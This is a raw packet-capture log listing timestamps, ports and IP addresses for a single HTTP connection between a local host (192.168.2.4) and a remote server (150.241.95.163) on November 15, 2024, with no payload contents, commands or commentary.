Nov 15, 2024 10:28:31.732260942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732336998 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732367992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732378960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732431889 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732444048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732469082 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732469082 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732475996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732487917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732522964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732533932 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732546091 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732584953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732584953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732584953 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732665062 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732675076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732686996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732697964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732708931 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732718945 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732723951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732732058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732742071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.732786894 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.732786894 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742587090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742616892 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742631912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742667913 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742681980 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742697001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742710114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742711067 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742711067 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742723942 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742762089 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742778063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742778063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742779970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742835045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742845058 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742856979 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742872000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742885113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742908001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.742923975 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.742923975 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.743001938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743011951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743026972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743038893 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.743041039 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743052006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743063927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743093014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.743093014 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.743119955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743132114 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743144035 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.743186951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.743186951 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.764602900 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.764616013 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.764624119 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.764751911 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.809416056 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809432030 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809446096 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809470892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.809483051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809495926 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809508085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.809597015 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.809597015 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.819921970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.819958925 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.819972038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.819977045 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.819988966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.819999933 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.820043087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.820043087 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.820050001 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.820215940 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.821351051 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866009951 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866034031 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866046906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866058111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866069078 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866081953 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866101027 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866111994 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866122961 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866133928 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866144896 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866157055 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866184950 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866184950 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866184950 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866199970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866205931 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866213083 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866224051 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866235971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866293907 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866305113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866314888 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866326094 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866333961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866333961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866337061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866390944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866390944 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866410971 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866421938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866432905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866444111 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866456032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866487026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866487026 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866513014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866523981 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866530895 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866542101 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866553068 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866569042 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866580963 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866585970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866585970 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866630077 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866636038 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866647959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866657972 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866667986 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866691113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866702080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866713047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866719961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866719961 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866724014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866735935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866791964 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866791964 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.866902113 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866913080 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866924047 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866934061 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866944075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866955042 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866966009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866976976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866988897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.866998911 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867006063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867006063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867006063 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867012024 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867059946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867059946 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867300034 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867355108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867366076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867424965 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867436886 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867449045 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867460966 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867461920 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867463112 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867542982 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867563009 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867573977 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867588997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867599964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867609978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867619991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867631912 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867631912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867631912 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867643118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867652893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867693901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867693901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867693901 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867717028 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867727995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867738008 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867748976 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867760897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867772102 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867780924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867780924 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867783070 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867798090 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867830992 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867832899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867851019 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.867912054 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.867912054 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.868211985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868302107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868313074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868349075 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868360996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868372917 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868383884 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868416071 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.868416071 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.868416071 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.868484020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868494987 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868505955 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868521929 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868534088 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868567944 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.868570089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.868570089 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.871326923 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.888300896 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.888315916 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.888329029 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.888339996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.888350964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.888520956 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.888520956 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.932604074 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932725906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932743073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932754040 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932816982 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932826996 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932857990 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.932952881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.932952881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.932952881 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.932982922 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.933101892 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.943198919 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943229914 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943242073 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943336964 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.943388939 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943399906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943411112 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943422079 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.943531990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.943531990 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.977262020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977279902 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977291107 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977346897 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.977368116 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977380037 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977391005 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977400064 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977411032 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977421999 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977456093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.977456093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.977456093 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.977957964 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977977991 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.977988958 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978085041 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978096962 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978112936 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978125095 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978132010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978137016 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978202105 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978210926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978210926 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978212118 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978223085 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978235960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978245020 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978298903 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978310108 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978318930 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978329897 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978338003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978338003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978338003 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978346109 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978389978 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978389978 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.978394985 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978406906 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.978451967 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989281893 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989295959 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989315033 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989326000 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989336014 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989347935 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989361048 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989367008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989367008 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989377022 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989387989 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989455938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989455938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989461899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989473104 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989485025 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989496946 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989506960 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989509106 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989517927 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989537954 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989902973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.989947081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.989947081 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990015984 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990164995 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990184069 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990195036 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990200996 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990206003 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990216970 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990227938 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990227938 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990238905 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990256071 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990267992 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990278006 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990288973 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990300894 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990313053 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990315914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990315914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990315914 CET	49736	80	192.168.2.4	150.241.95.163
Nov 15, 2024 10:28:31.990400076 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990411997 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990422010 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990432978 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990444899 CET	80	49736	150.241.95.163	192.168.2.4
Nov 15, 2024 10:28:31.990446091 CET	49736	80	192.168.2.4	150.241.95.163
